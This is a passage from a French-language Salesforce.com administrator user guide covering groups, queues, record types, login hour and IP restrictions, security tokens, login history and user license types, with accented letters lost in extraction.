Gestion des groupes
Affichage de tous les utilisateurs dans un groupe
Gestion des utilisateurs du portail Client
Utilisation des utilisateurs partenaires

Affichage et modification de groupes

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier un groupe public :

Pour afficher ou modifier des groupes personnels ou publics :

Grer les utilisateurs

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des groupes | 137

1. Pour les groupes personnels, cliquez sur Configuration Mes informations personnelles Mes groupes.
Pour les groupes publics, cliquez sur Configuration Gestion des utilisateurs Groupes publics.
2. Groupes publics uniquement : Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste
droulante Vue ou cliquez sur Crer une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer
une vue que vous avez cre, slectionnez-la dans la liste droulante Vue, puis cliquez sur Modifier.
3. Cliquez sur le nom d'un groupe dans la liste associe Groupes pour afficher sa page de dtails.

Pour modifier l'appartenance un groupe, cliquez sur Modifier.

Pour supprimer le groupe, cliquez sur Supprimer.
Pour afficher les membres du groupe, reportez-vous la liste associe Membres de groupe.
Pour afficher les membres de groupe et les utilisateurs qui disposent d'accs quivalents en raison de leur position
suprieure dans la hirarchie de rles ou de territoires, cliquez sur Afficher tous les utilisateurs pour afficher la liste
associe Tous les utilisateurs du groupe. Cliquez sur Afficher les membres de groupe pour revenir la liste associe
Membres de groupe.

Affichage de tous les utilisateurs dans un groupe

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

La liste Tous les utilisateurs prsente les utilisateurs qui appartiennent au groupe personnel ou public, la file d'attente ou au
groupe de partage rle ou territoire slectionn. Dans cette page, vous pouvez afficher des informations utilisateur dtailles,
modifier ces informations et accder d'autres informations connexes.

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Cliquez sur Modifier en regard d'un nom d'utilisateur pour modifier les informations le concernant.
Cliquez sur Connexion en regard d'un nom d'utilisateur pour vous connecter avec cette identit d'utilisateur. Ce lien est
disponible uniquement si l'utilisateur vous a accord l'accs.

Voir aussi :
Gestion des groupes
Cration et modification de groupes

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des groupes | 138

Affichage de listes de membres de groupes ou de files d'attente

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des membres de groupes ou de files d'attente :

Afficher la configuration

La page de liste de membres affiche une liste des groupes, rles, territoires et utilisateurs qui sont membres du groupe ou de
la file d'attente slectionn. partir de cette page, vous pouvez afficher des informations dtailles sur les membres et accder
d'autres informations connexes.

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise.
Cliquez sur un nom pour afficher les dtails du membre.

Voir aussi :
Gestion des groupes
Affichage de tous les utilisateurs dans un groupe

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des files d'attente | 139

Gestion des files d'attente

Files d'attente disponibles dans : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition,
Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des files d'attente :

Personnaliser l'application
AND
Grer les vues de liste publique

Pour crer ou modifier des files d'attente cres par d'autres

utilisateurs :

Personnaliser l'application
AND
Grer les vues de liste publique
AND
Grer les utilisateurs

Crez des files d'attente pour aider vos quipes grer les pistes, les requtes et les objets personnaliss. Une fois que les
enregistrements sont placs dans une file d'attente, que ce soit manuellement ou grce une rgle d'attribution automatique
de requtes ou de pistes, ils y restent jusqu' ce qu'ils soient attribus un utilisateur ou extraits par un des membres de la file
d'attente. Tout membre de la file d'attente ou suprieur hirarchique peut devenir responsable des enregistrements qu'elle
contient. Par exemple :
Files d'attente de pistes
Permettent votre organisation de grer la distribution des pistes. Par exemple, il peut exister une file d'attente de pistes
pour votre quipe Rgion Ouest et une autre pour votre quipe Rgion Est . Vous pouvez placer des pistes dans
diffrentes files d'attente, soit manuellement, soit automatiquement via une rgle d'attribution de piste car les pistes sont
importes, cres ou modifies manuellement ou encore captures partir du Web. Chaque commercial doit faire partie
d'une ou plusieurs files d'attente.
Files d'attente de requtes
Permettent votre organisation de grer la charge de travail du support et de diffrencier les requtes en fonction des
niveaux de support. Grce aux files d'attente, vous garantissez la rsolution rapide des requtes, et ce, mme si un utilisateur
est en cong. La cration de files d'attente pour diffrents niveaux de support (par exemple Niveau de service Gold
et Niveau de service Silver ) permet de hirarchiser automatiquement la priorit des requtes. Vous pouvez placer des
requtes dans diffrentes files d'attente, soit manuellement, soit automatiquement via une rgle d'attribution de requte
car les requtes sont gnres partir du Web ou cres manuellement. Chaque membre de l'quipe de support doit faire
partie d'une ou plusieurs files d'attente de requtes.
Files d'attente d'objets personnaliss
Permettent votre organisation de grer la distribution des enregistrements d'objets personnaliss. Lors de la cration
d'un enregistrement d'objet personnalis, attribuez-le manuellement une file d'attente afin que les utilisateurs de cette
file puissent y avoir accs et en devenir responsables, le cas chant.

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des files d'attente | 140

Pour afficher et grer les files d'attente, cliquez sur Configuration Grer les utilisateurs Files d'attente.

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Pour crer une file d'attente, cliquez sur Nouveau.
Pour modifier une file d'attente, cliquez sur Modifier en regard de son nom.
Pour supprimer une file d'attente, cliquez sur Suppr en regard de son nom.
Pour afficher des informations dtailles sur une file d'attente, qui comprend une liste des membres de la file d'attente,
cliquez sur son nom.

Voir aussi :
Affichage et modification des files d'attente
Configuration du support client
Attribution de requtes
Affichage de listes de requtes
Affichage des listes de pistes

Configuration de files d'attente

Files d'attente disponibles dans : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition,
Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des files d'attente :

Personnaliser l'application
AND
Grer les vues de liste publique

Pour crer ou modifier des files d'attente cres par d'autres

utilisateurs :

Personnaliser l'application
AND
Grer les vues de liste publique
AND
Grer les utilisateurs

Pour configurer vos files d'attente de pistes, de requtes ou d'objets personnaliss :

1. Cliquez sur Configuration Gestion des utilisateurs Queues.
2. Cliquez surNouveau pour crer une file d'attente ou sur Modifier pour changer une file d'attente existante.

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des files d'attente | 141

Remarque: Vous pouvez galement accder cette page en cliquant sur Modifier dans la page de dtails d'une
file d'attente.
3. Saisissez le nom de la file d'attente.
4. Indiquez l'adresse e-mail de destination de toutes les notifications par e-mail (par exemple, lorsqu'un nouvel enregistrement
est plac en file d'attente). Il peut s'agir d'un seul utilisateur ou d'une liste de distribution configure l'aide du systme de
messagerie de votre organisation.
5. Slectionnez Envoyer un e-mail aux membres pour notifier un par un tous les membres de la file d'attente, ainsi
que l'adresse E-mail de la file d'attente spcifie lorsque de nouveaux enregistrements sont placs dans la file
d'attente. Si cette case n'est pas coche, seule l'adresse E-mail de la file d'attente est notifie.
Remarque: Si aucune adresse E-mail de la file d'attente n'est spcifie, les diffrents membres de la
file d'attente sont toujours notifis des nouveaux enregistrements, que cette case soit coche ou non.
6. Si votre entreprise utilise des services, slectionnez le service par dfaut d'une file d'attente. Ceci dtermine le service d'un
enregistrement lorsqu'il est attribu la file d'attente via des rgles d'attribution ou un changement manuel de responsabilit.
Notez que les requtes hritent du service du contact auquel elles sont associes ou sont attribues au service global par
dfaut si aucun contact n'est spcifi.
7. Spcifiez les objets qui peuvent tre placs dans la file d'attente. Vous pouvez choisir des requtes, des pistes ou n'importe
quel objet personnalis.
8. Spcifiez les utilisateurs, les rles, les groupes publics, les territoires, les connexions ou les utilisateurs partenaires qui seront
membres de la file d'attente.
Seuls les membres de file d'attente et les utilisateurs qui leur sont suprieurs dans la hirarchie des rles peuvent s'approprier
les enregistrements de cette file d'attente, selon vos paramtres de partage.
9. Cliquez sur Enregistrer.
Remarque: Lors de la cration d'une file d'attente, Salesforce.com crer automatiquement une vue de liste
correspondante. Les utilisateurs ont accs la vue de liste de file d'attente partir des onglets Requtes, Piste ou d'objet
personnalis.
Seuls les membres de file d'attente et les utilisateurs qui leur sont suprieurs dans la hirarchie des rles peuvent accder
la liste de cette file d'attente, selon vos paramtres de partage.
Une fois que vous avez dfini une file d'attente, vous pouvez configurer des rgles d'attribution de piste ou de requte pour lui
rattribuer automatiquement la responsabilit des pistes et des requtes.
Pour les files d'attente incluant des objets personnaliss, vous pouvez effectuer la mme opration en configurant une rgle de
workflow qui rattribue la responsabilit des enregistrements d'objet personnalis une file d'attente ds la mise jour du
champ du responsable de l'enregistrement.

Voir aussi :
Affichage et modification des files d'attente
Gestion des files d'attente

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des files d'attente | 142

Affichage et modification des files d'attente

Files d'attente disponibles dans : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition,
Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des files d'attente :

Personnaliser l'application
AND
Grer les vues de liste publique

Pour crer ou modifier des files d'attente cres par d'autres

utilisateurs :

Personnaliser l'application
AND
Grer les vues de liste publique
AND
Grer les utilisateurs

Pour afficher des informations dtailles sur une file d'attente, cliquez sur Configuration Grer les utilisateurs Files
d'attente, puis cliquez sur le nom de la file d'attente.
Cliquez sur Modifier pour apporter des modifications la file d'attente ou sur Supprimer pour l'effacer.
Remarque: Vous ne pouvez pas supprimer une file d'attente si celle-ci est utilise par une rgle d'attribution ou contient
des enregistrements.
La liste associe Membres de la file d'attente affiche tous les membres de la file d'attente. Cliquez sur Afficher tous les
utilisateurs pour afficher tous les utilisateurs de la liste associe File d'attente, qui comprend tous les membres de la file d'attente
ainsi que tous les utilisateurs ayant le mme accs que les membres de la file d'attente en raison de leur niveau suprieur dans
la hirarchie des rles. Dans Tous les utilisateurs de la liste associe File d'attente, vous pouvez cliquer sur Afficher les membres
de la file d'attente pour revenir la liste associe Membres de la file d'attente.
Remarque: Les utilisateurs obtiennent l'accs aux donnes selon leur position dans les hirarchies, en fonction d'un
paramtre dans les valeurs par dfaut l'chelle de l'organisation.

Voir aussi :
Gestion des files d'attente

Gestion des utilisateurs

Guide de l'utilisateur | Attribution de types d'enregistrement aux profils | 143

Attribution de types d'enregistrement aux profils

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour attribuer des types d'enregistrement aux profils :

Autorisation de personnalisation de l'application

Aprs avoir cr des types d'enregistrement et y avoir inclus des valeurs de liste de slection, ajoutez des types d'enregistrement
aux profils utilisateur et attribuez un type d'enregistrement par dfaut chaque profil. Lorsque vous ajoutez un type
d'enregistrement un profil, les utilisateurs ayant ce profil peuvent attribuer ce type d'enregistrement aux enregistrements
qu'ils crent ou modifient. Notez que tout utilisateur peut afficher des enregistrements de tout type, mme si le type
d'enregistrement n'est pas associ son profil.
Un profil peut tre associ plusieurs types d'enregistrement. Par exemple, un utilisateur crant des opportunits pour des
ventes matrielles et logicielles peut disposer des types d'enregistrement Matriel et SSII lorsqu'il cre des opportunits, si ces
deux types d'enregistrement ont t ajouts son profil.
1. Cliquez sur Configuration Gestion des utilisateurs Profils.
2. Slectionnez un profil. Les types d'enregistrement disponibles pour ce profil sont rpertoris dans la section Paramtres
de type d'enregistrement.
3. Cliquez sur Modifier en regard du type d'enregistrement appropri.
4. Slectionnez un type d'enregistrement dans la liste Types d'enregistrement disponibles et ajoutez-le la liste Types
d'enregistrements slectionns pour le rendre accessible aux utilisateurs ayant ce profil.
Conseil: Principal est le type d'enregistrement systme masqu pour les enregistrements auxquels aucun type n'a
t attribu. Vous ne pouvez pas attribuer explicitement le type Principal aux enregistrements, mais vous pouvez
en faire le seul type d'enregistrement attribu un profil si aucun autre type d'enregistrement n'est souhait.
5. Dans la liste droulante Par dfaut, choisissez un type d'enregistrement par dfaut.
Si votre entreprise utilise des comptes personnels, ce paramtre contrle galement quels champs de compte apparaissent
dans la zone Cration rapide de la page d'accueil des comptes.
6. Si votre entreprise utilise des comptes personnels, dfinissez des options supplmentaires pour les types d'enregistrement
par dfaut des comptes personnels et comptes professionnels. Ces paramtres sont utiliss lorsque des valeurs par dfaut
sont ncessaires pour les deux types de compte, par exemple lors de la conversion de pistes.

Dans la liste droulante du type d'enregistrement de compte professionnel par dfaut, slectionnez
le type d'enregistrement par dfaut des comptes professionnels.
Dans la liste droulante du type d'enregistrement de compte personnelpar dfaut, slectionnez le type
d'enregistrement par dfaut des comptes personnels.

7. Cliquez sur Enregistrer.

Remarque: Si votre entreprise utilise des comptes personnels, vous pouvez voir les valeurs par dfaut du type
d'enregistrement des comptes professionnels et des comptes personnels dans la section Paramtres de type
d'enregistrement du compte de la page de dtails de profil. Cliquer sur Modifier dans cette section permet galement

Gestion des utilisateurs

Guide de l'utilisateur | Dfinition des restrictions de connexion | 144

d'ouvrir la page o vous dfinissez les valeurs par dfaut du type d'enregistrement des comptes. Pour plus d'informations,
reportez-vous Qu'est-ce qu'un compte personnel ? la page 1048

Voir aussi :
Gestion des types d'enregistrement
Dfinition des prfrences de type d'enregistrement

Dfinition des restrictions de connexion

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour dfinir des restrictions de connexion :

Grer les utilisateurs

Pour contribuer protger les donnes de votre entreprise contre un accs non-autoris, vous pouvez restreindre la capacit
des utilisateurs se connecter Salesforce.com en personnalisant leurs profils et la liste des adresses IP de confiance de votre
entreprise.
Adresses IP et heures de connexion en fonction du profil
Pour chaque profil, vous pouvez dfinir les heures auxquelles les utilisateurs peuvent se connecter et les adresses IP
partir desquelles ils peuvent se connecter.
Liste des adresses IP de confiance l'chelle de l'entreprise
Pour tous les utilisateurs, vous pouvez dfinir une liste des plages d'adresses IP partir desquelles ils peuvent toujours
se connecter sans recevoir de vrification de connexion.
Lorsque les utilisateurs se connectent Salesforce.com, via l'interface utilisateur, l'API, un client de bureau tel que Connect
pour Outlook, Connect Offline, Connect pour Office, Connect pour Lotus Notes ou Data Loader, Salesforce.com confirme
que la connexion est autorise en procdant comme suit :
1. Salesforce. vrifie si le profil de l'utilisateur comporte des restrictions d'heure de connexion. Si des restrictions d'heure de
connexion sont spcifies pour le profil de l'utilisateur, toute connexion hors des heures indiques est refuse.
2. Salesforce.com vrifie si le profil de l'utilisateur comporte des restrictions d'adresse IP. Si des restrictions d'adresse IP sont
dfinies pour le profil de l'utilisateur, toute connexion partir d'une adresse IP non-dsigne est refuse, et toute connexion
partir d'une adresse IP spcifie est autorise.
3. Si des restrictions d'adresse IP ne sont pas dfinies pour le profil, Salesforce.com vrifie si l'utilisateur s'est connect partir
d'une adresse IP inhabituelle pour accder Salesforce.com :

Si l'utilisateur se connecte partir d'un navigateur qui inclut un cookie Salesforce.com, la connexion est autorise. Le
navigateur contient le cookie Salesforce.com, si l'utilisateur a prcdemment utilis le navigateur pour se connecter
Salesforce.com, et s'il n'a pas effac les cookies du navigateur.
Si l'utilisateur s'est connect partir d'une adresse IP de la liste des adresses IP de confiance de votre entreprise, la
connexion est autorise.

Gestion des utilisateurs

Guide de l'utilisateur | Dfinition des restrictions de connexion | 145

Si l'utilisateur ne se connecte pas partir d'une adresse IP de confiance, ou d'un navigateur avec un cookie Salesforce.com,
la connexion est bloque.

Ds qu'une connexion est bloque ou renvoie une erreur de connexion de l'API, Salesforce.com doit vrifier l'identit de
l'utilisateur :

Pour un accs via l'interface utilisateur, l'utilisateur est invit cliquer sur le bouton Envoyer un lien d'activation pour
envoyer un e-mail d'activation l'adresse spcifie sur la fiche de l'utilisateur Salesforce.com. L'e-mail fournit l'utilisateur
un lien d'activation copier et coller dans son navigateur et ainsi activer son ordinateur pour la connexion Salesforce.com.
Le lien d'activation inclus dans l'e-mail est valide pendant 24 heures partir du moment auquel l'utilisateur a cliqu sur le
bouton Envoyer un lien d'activation. Aprs 24 heures, le lien d'activation arrive expiration, et l'utilisateur doit rpter
le processus d'activation pour se connecter.
Remarque: Lors d'une premire connexion Salesforce.com, l'utilisateur n'a pas activer son ordinateur. Il doit
toutefois l'activer lors de la connexion suivante l'aide du bouton Envoyer un lien d'activation.

Pour un accs via l'API ou via un client, l'utilisateur doit ajouter son jeton de scurit la fin de son mot de passe afin de
se connecter. Un jeton de scurit est une cl gnre automatiquement depuis Salesforce.com. Par exemple, si le mot de
passe de l'utilisateur est monmotdepasse, et que son jeton de scurit est XXXXXXXXXX, l'utilisateur devra saisir
monmotdepasseXXXXXXXXXX pour se connecter.
Les utilisateurs peuvent obtenir leur jeton de scurit en modifiant leur mot de passe ou en rinitialisant leur jeton de
scurit via l'interface utilisateur Salesforce.com. Lorsqu'un utilisateur modifie son mot de passe ou rinitialise son jeton
de scurit, Salesforce.com envoie un nouveau jeton de scurit l'adresse e-mail situe sur la fiche de l'utilisateur
Salesforce.com. Le jeton de scurit est valide jusqu' ce que l'utilisateur rinitialise celui-ci, modifie son mot de passe, ou
voit son mot de passe rinitialis.
Conseil: Il vous est recommand d'obtenir votre jeton de scurit via l'interface utilisateur Salesforce.com depuis
un rseau scuris avant de tenter d'accder Salesforce.com partir d'une nouvelle adresse IP.

Conseils sur la Configuration des restrictions de connexion

Tenez compte des recommandations suivantes lors de la configuration des restrictions de connexion :

Lorsque le mot de passe d'un utilisateur est modifi, son jeton de scurit est automatiquement rinitialis. L'utilisateur
peut faire l'exprience d'une connexion bloque jusqu' ce qu'il ajoute le jeton de scurit gnr automatiquement la fin
de son mot de passe lors de sa connexion Salesforce.com via l'API ou via un client.
Les utilisateurs du Portail partenaire et du Portail client ne doivent pas activer leurs ordinateurs pour se connecter.
Les vnements suivants est pris en compte dans le nombre de fois qu'un utilisateur peut tenter de se connecter avec un
mot de passe non valide avant d'tre exclu de Salesforce.com, tel que dfini dans les paramtres de verrouillage de la
connexion de votre organisation :
-

Chaque fois qu'un utilisateur est invit cliquer sur le bouton Envoyer le lien d'activation

Gestion des utilisateurs

Guide de l'utilisateur | Dfinition des restrictions de connexion | 146

Chaque fois qu'un utilisateur ajoute de manire incorrecte son jeton de scurit la fin de son mot de passe pour se
connecter l'API ou un client.

Voir aussi :
Restriction des plages IP de connexion pour Votre entreprise
Restriction des heures de connexion
Restriction des plages IP de connexion dans les profils
Rinitialisation de votre jeton de scurit

Restriction des heures de connexion

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer les heures de connexion :

Grer les utilisateurs

Vous pouvez dfinir les heures d'utilisation du systme par profil d'utilisateur.
1. Cliquez sur Configuration Gestion des utilisateurs Profils, puis slectionnez un profil.
2. Cliquez sur Modifier dans la liste associe Heures de connexion.
3. Dfinissez les jours et les heures pendant lesquels les utilisateurs disposant de ce profil peuvent accder au systme.
Les heures d'ouverture sont des priodes exactes fondes sur le fuseau horaire par dfaut de la socit comme
indiqu via Configuration Profil de la socit Informations sur la socit. Les heures d'ouverture s'appliquent
toujours pendant ces priodes de temps, mme si un utilisateur se trouve dans un fuseau horaire diffrent ou que le Fuseau
horaire par dfaut est modifi.
Slectionnez Aucun pour les heures de dbut et de fin si vous souhaitez autoriser les utilisateurs se connecter n'importe
quel moment. Pour interdire l'accs au systme un jour prcis, dfinissez la mme valeur pour l'heure de dbut et l'heure
de fin.
4. Cliquez sur Enregistrer.
Remarque: Si un utilisateur se connecte avant les heures d'interdiction, le systme met fin sa session au dbut de
cette priode d'interdiction.

Voir aussi :
Restriction des plages IP de connexion dans les profils
Dfinition des restrictions de connexion

Gestion des utilisateurs

Guide de l'utilisateur | Dfinition des restrictions de connexion | 147

Restriction des plages IP de connexion dans les profils

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour dfinir des plages de connexion IP :

Grer les utilisateurs

Il est possible de dfinir les adresses IP partir desquelles les utilisateurs ayant un profil spcifique peuvent se connecter.
Lorsque vous dfinissez les restrictions d'adresses IP pour un profil, toute connexion depuis une adresse IP non-dsigne est
refuse et toute connexion depuis une adresse IP spcifie est autorise. Pour dfinir les adresses IP pour les profils :
1. La procdure que vous utilisez pour restreindre la plage d'adresses IP valides dpend de votre dition :

Pour Enterprise Edition, Unlimited Edition et Developer Edition, cliquez sur Configuration Grer les utilisateurs
Profils, puis slectionnez un profil. Cliquez ensuite sur Nouveau dans la liste associe Plages IP de connexion.
Pour Professional Edition, Group Edition, et Personal Edition, cliquez sur Configuration Contrles de scurit
Paramtres de session, puis cliquez sur Nouveau dans la liste associe Plages de connexion IP.

2. Entrez une adresse IP valide dans le champ Adresse IP de dbut et une adresse IP suprieure dans le champ Adresse
IP de fin.
Les adresses de dbut et de fin dterminent l'intervalle d'adresses IP autoris partir duquel les utilisateurs peuvent se
connecter. Pour autoriser les connexions partir d'une seule adresse IP, indiquez la mme adresse dans les deux champs.
Les adresses IP de dbut et de fin ne doivent pas comprendre plus de 33 554 432 adresses (225). Par exemple, les plages
suivantes sont valides :

0.0.0.0 1.255.255.255
132.0.0.0 132.255.255.255
132.0.0.0 133 255 255 255

Toutefois, les plages telles que 0.0.0.0 2.255.255.255 ou 132.0.0.0 134.0.0.0 sont trop longues.
Remarque: L'application mobile contourne les dfinitions de plage IP dfinies pour les profils. Lors de l'accs aux
tableaux de bord et aux pages Visualforce, l'application mobile initie une connexion scurise Salesforce.com sur
le rseau du transporteur mobile, mais les adresses IP du transporteur mobile peuvent tre hors des plages IP
autorises dans le profil de l'utilisateur.
3. Cliquez sur Enregistrer.

Voir aussi :
Restriction des plages IP de connexion pour Votre entreprise
Restriction des heures de connexion
Dfinition des restrictions de connexion
Configuration de la scurit de session

Gestion des utilisateurs

Guide de l'utilisateur | Surveillance des vnements utilisateur | 148

Surveillance des vnements utilisateur

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour contrler les connexions et afficher l'historique de
formation :

Grer les utilisateurs

Vous pouvez contrler les connexions et les formations des utilisateurs pour identifier les utilisateurs de l'application, la frquence
d'utilisation et les participants aux formations partir de salesforce.com.
Si l'organisation dispose de la fonctionnalit de connexion unique avec l'authentification dlgue et d'une solution de connexion
unique intgre, vous pouvez visualiser les toutes dernires erreurs de connexion unique de l'organisation.

Voir aussi :
Surveillance des connexions
Surveillance de l'historique de formation
Affichage des erreurs de connexion unique

Surveillance des connexions

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour surveiller les connexions :

Grer les utilisateurs

Les administrateurs peuvent surveiller les tentatives de connexions russies et choues pour leur organisation et les portails
activs, ainsi que le type de connexion, tel que Application, SAML, Client d'accs distance, etc.
Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer
Edition
1. Cliquez sur Configuration Gestion des utilisateurs Historique des connexions.
2. Cliquez sur l'un des liens suivants :

Fichier .csv Excel gzip : Tlcharge un fichier CSV qui rpertorie toutes les connexions d'utilisateurs votre organisation
Salesforce.com au cours des six derniers mois. Ce rapport inclut les connexions via l'API. Le fichier est compress et
cette option permet d'acclrer la vitesse de tlchargement.
Tlcharger l'historique des connexions des six derniers mois, y compris les connexions effectues en dehors du site
Web, telles que les connexions API (fichier Excel .csv) : Tlcharge un fichier CSV qui rpertorie toutes les connexions

Gestion des utilisateurs

Guide de l'utilisateur | Surveillance des vnements utilisateur | 149

d'utilisateurs votre organisation Salesforce.com au cours des six derniers mois. Ce rapport inclut les connexions via
l'API.
Tlcharger l'historique des connexions, y compris les connexions depuis le site Web uniquement (fichier Excel
.csv) : Tlcharge uniquement les connexions d'utilisateurs qui proviennent du site Web salesforce.com.
Remarque: Les versions antrieures de Microsoft Excel ne peuvent pas ouvrir les fichiers contenant plus de 65 536
lignes. Si vous ne parvenez pas ouvrir un fichier volumineux dans Excel, reportez-vous Aide de Microsoft et article
du support sur le traitement des fichiers volumineux.

Pour consulter les dix dernires connexions russies et choues d'un utilisateur spcifique, slectionnez Configuration
Grer les utilisateurs Utilisateurs, cliquez sur le Nom complet de l'utilisateur, puis allez jusqu' la section Historique des
connexions.
Personal Edition
Pour afficher votre historique de connexion personnel :
1. Cliquez sur Configuration Mes informations personnelles Informations personnelles.
2. Faites dfiler la liste associe Historique des connexions pour afficher vos dix dernires connexions.
3. Pour tlcharger un fichier CSV contenant votre historique de connexion sur les six derniers mois, cliquez sur le lien
Tlcharger.
Remarque: Pour des raisons de scurit, Salesforce.com peut inviter les utilisateurs passer un test de vrification
avant d'exporter les donnes de leur organisation. Ce simple test de saisie de texte empche les programmes malveillants
d'accder aux donnes de votre organisation.
Pour passer ce test, les utilisateurs doivent saisir les deux mots affichs sur le plan dans la zone de test du plan, puis
cliquer sur le bouton Soumettre. Remarque : les mots saisis dans la zone de texte doivent tre spars par un espace.
Salesforce.com utillise la technologie CAPTCHA fournie par reCaptcha pour vrifier qu'une personne, et non un
programme automatis, a correctement saisi le texte dans le plan. CAPTCHA est un acronyme qui signifie test
public de Turing entirement automatique ayant pour but de diffrencier les humains des ordinateurs .
Connexion unique avec SAML
Si votre entreprise a configur une connexion unique utilisant des certificats de fournisseur d'identit (crits en SAML), vous
pouvez consulter les messages de l'historique des connexions spcifiques ce formulaire de connexion unique. Pour plus
d'informations, reportez-vous Historique des connexions la page 195.

Surveillance de l'historique de formation

Disponible avec : Group Edition, Professional Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour afficher l'historique de formation :

Grer les utilisateurs

En tant qu'administrateur, il est important que l'quipe sache utiliser efficacement Salesforce.com. L'historique de formation
affiche toutes les sessions de formation salesforce.com auxquelles vos utilisateurs ont particip.

Gestion des utilisateurs

Guide de l'utilisateur | Affichage des types de licence utilisateur | 150

Les administrateurs peuvent afficher l'historique de formation en cliquant sur Configuration Gestion des utilisateurs
Historique de formation. Aprs avoir suivi une session de formation, les utilisateurs doivent envoyer le formulaire de
commentaires de formation en ligne pour consigner leur participation dans l'historique de formation.

Affichage des erreurs de connexion unique

Autorisations utilisateur requises
Pour afficher les erreurs de connexion unique :

Modifier toutes les donnes

Si l'organisation dispose de la fonctionnalit de connexion unique avec l'authentification dlgue et d'une solution de connexion
unique intgre, vous pouvez visualiser les toutes dernires erreurs de connexion unique de l'organisation.
1. Cliquez sur Configuration Gestion des utilisateurs Historique des erreurs d'authentification dlgue.
2. Affichez le nom, l'heure de connexion et l'erreur des utilisateurs associs aux 21 dernires erreurs de connexion.
Remarque: Pour plus d'informations sur l'activation de la fonctionnalit de connexion unique dans l'entreprise,
contactez salesforce.com.

Voir aussi :
A propos des Connexions uniques
Meilleures pratiques pour la mise en oeuvre d'une connexion unique

Affichage des types de licence utilisateur

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les types de licence utilisateur :

Afficher la configuration

Vous pouvez avoir plusieurs types de licence utilisateur dans Salesforce.com. Une licence utilisateur donne accs diffrentes
fonctionnalits dans Salesforce.com et dtermine les profils disponibles pour l'utilisateur.
Pour afficher la liste des licences utilisateur actives que votre entreprise a achetes, cliquez sur Configuration Profil de la
socit Informations sur la socit. Cette page affiche les informations suivantes pour chaque type de licence utilisateur :

Le champ Statut indique le statut de la licence.

Le champ Nombre total de licences indique le nombre de licences factures votre entreprise et qui vous sont
disponibles.
Le champ Licences utilises est le nombre de licences que vous avez attribues aux utilisateurs.
Le champ Licences restantes renseigne sur le nombre de licences non utilises.

Gestion des utilisateurs

Guide de l'utilisateur | Affichage des types de licence utilisateur | 151

Les listes ci-dessous numrent les fonctions utilisables avec chaque type de licence utilisateur standard.
Remarque: Vous pouvez visualiser d'autres types de licence rpertories dans cette page si votre entreprise a achet
des licences utilisateur personnalises pour diffrents types de fonctionnalits. Pour plus d'informations, contactez
Salesforce.com.
Utilisateurs Salesforce.com
Licence utilisateur

Description

Salesforce.com

Pour les utilisateurs devant bnficier d'un accs total aux

sous-applications CRM et Force.com AppExchange standard.
Les utilisateurs titulaires d'une licence utilisateur
Salesforce.com peuvent accder n'importe quelle
sous-application standard ou personnalise.
Chaque licence propose de l'espace de stockage supplmentaire
aux utilisateurs des ditions Enterprise et Unlimited. Pour
plus d'informations, reportez-vous Surveillance des ressources
la page 218.

Salesforce.com Platform

Pour les utilisateurs qui doivent accder des sous-applications

personnalises mais pas la fonctionnalit CRM standard.
Les utilisateurs titulaires d'une licence Salesforce.com Platform
sont autoriss utiliser les sous-applications personnalises
dveloppes au sein de votre organisation ou installes partir
de Force.com AppExchange. En outre, ils peuvent utiliser les
fonctions principales de la plate-forme, telles que les comptes,
les contacts, les rapports, les tableaux de bord, les documents
et les onglets personnaliss. Toutefois, ces utilisateurs ne
peuvent pas recevoir certaines autorisations ni se servir de
certaines sous-applications standard, y compris les onglets et
les objets standard tels que les prvisions et les opportunits.
Les utilisateurs de Salesforce.com Platform peuvent galement
utiliser Connect Offline.
Remarque: Les utilisateurs titulaires d'une licence
Salesforce.com Platform peuvent afficher uniquement
les tableaux de bord si l'Utilisateur actuel du
tableau de bord dispose galement une licence
Salesforce.com Platform. Ils ne peuvent ni modifier
ni crer de tableaux de bord.
Pour les utilisateurs titulaires des licences Salesforce.com
Platform et Salesforce Platform One, la sous-application
standard de la plate-forme est la seule rpertorie dans le menu
des sous-applications de Force.com.
Les utilisateurs titulaires d'une licence Salesforce.com Platform
peuvent accder toutes les sous-applications personnalises
dans votre organisation. Pour rpertorier le nombre total de
sous-applications personnalises disponibles dans chaque
dition, reportez-vous ditions Salesforce.com et limitations
la page 932.

Gestion des utilisateurs

Licence utilisateur

